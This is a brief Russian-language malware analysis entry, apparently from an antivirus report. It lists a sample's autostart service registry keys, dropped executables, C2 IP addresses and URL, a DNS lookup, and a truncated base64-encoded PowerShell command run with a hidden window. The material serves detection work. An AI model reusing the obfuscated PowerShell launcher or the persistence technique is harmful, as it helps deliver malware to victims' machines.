Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\sisbkup] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\sisbkup] 'ImagePath' = '"%WINDIR%\SysWOW64\mmcico\sisbkup.exe"'
- 'sisbkup' "%WINDIR%\SysWOW64\mmcico\sisbkup.exe"
- 'sisbkup' %WINDIR%\SysWOW64\mmcico\sisbkup.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAEIAVQBaAEEAcABrAHEAPQAnAFAAQgBXAEEAVwB3AHkAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBjAFUAUgBpAGAAVABZAFAAcgBvAHQAbwBDAGAAbwBMACIAIAA9AC...
- %HOMEPATH%\615.exe
- %WINDIR%\syswow64\mmcico\sisbkup.exe
- %HOMEPATH%\615.exe в %WINDIR%\syswow64\mmcico\sisbkup.exe
- '18#.#4.128.197':80
- '19#.#7.203.63':8080
- http://19#.##.203.63:8080/CPS2vFosRtpWaVrG/0tjIMwcHe7WHKbJire/qTYNvLWg/ via 19#.#7.203.63
- DNS ASK de###yahci.com
- '%HOMEPATH%\615.exe'
- '%WINDIR%\syswow64\mmcico\sisbkup.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAEIAVQBaAEEAcABrAHEAPQAnAFAAQgBXAEEAVwB3AHkAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBjAFUAUgBpAGAAVABZAFAAcgBvAHQAbwBDAGAAbwBMACIAIAA9AC...' (со скрытым окном)